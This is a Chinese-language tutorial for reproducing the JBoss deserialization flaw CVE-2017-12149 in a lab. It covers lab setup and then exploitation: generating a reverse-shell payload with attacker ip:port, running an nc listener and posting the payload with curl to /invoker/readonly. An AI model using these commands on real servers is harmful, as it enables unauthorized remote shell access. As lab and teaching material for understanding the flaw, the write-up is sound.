Jboss反序列化漏洞复现(CVE-2017-12149)
一、漏洞描述
该漏洞为Java反序列化错误类型,存在于jboss的HttpInvoker组件中的ReadOnlyAccessFilter过滤器中。该过滤器在没有进行任何安全检查的情况下尝试将来自客户端的数据流进行反序列化,从而导致了漏洞。
二、漏洞影响版本
Jboss 5.x
Jboss 6.x
三、漏洞环境搭建
配置jdk
Windows服务器,首先搭建JDK环境
下载对应jdk文件,双击安装。
配置环境变量
- JAVA_HOME
- CLASSPATH
- .;%JAVA_HOME%\lib\dt.jar;%JAVA_HOME%\lib\tools.jar;
- path中添加
- %JAVA_HOME%/bin
- %JAVA_HOME%/jre/bin
配置JBOSS
下载JBoSS,https://download.jboss.org/jbossas/6.1/jboss-as-distribution-6.1.0.Final.zip
解压,修改C:\web\jboss-6.1.0.Final\server\default\deploy\jbossweb.sar\server.xml中的address,将其修改为0.0.0.0,以便其他机器可以访问
<Connector protocol="HTTP/1.1" port="${jboss.web.http.port}" address="0.0.0.0"
redirectPort="${jboss.web.https.port}" />
启动
在C:\web\jboss-6.1.0.Final\bin路径下,双击执行run.bat,稍等初始化几秒钟即可,成功后看到如下信息
INFO [org.jboss.bootstrap.impl.base.server.AbstractServer] JBossAS [6.1.0.Final "Neo"] Started in 17s:391ms
可以通过访问本地http://127.0.0.1:8080进行测试。
四、漏洞复现
攻击机访问http://ip:8080/invoker/readonly,若显示HTTP Status 500,则说明存在漏洞。
复现方式一
通过别人写好的jar包利用工具进行漏洞测试https://github.com/yunxu1/jboss-_CVE-2017-12149
复现方式二
下载Java反序列化poc工具https://github.com/joaomatosf/JavaDeserH2HC.git
生成此漏洞的poc
javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java
java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap 攻击机ip:port
执行完成后会生成ser文件ReverseShellCommonsCollectionsHashMap.ser
我们先在攻击机上监听刚刚设置的端口,比如4444
nc -lvvp 4444
执行以下命令
curl http://ip:8080//invoker/readonly --data-binary @ReverseShellCommonsCollectionsHashMap.ser
之后我们在攻击机上监听的nc应该就会出现shell了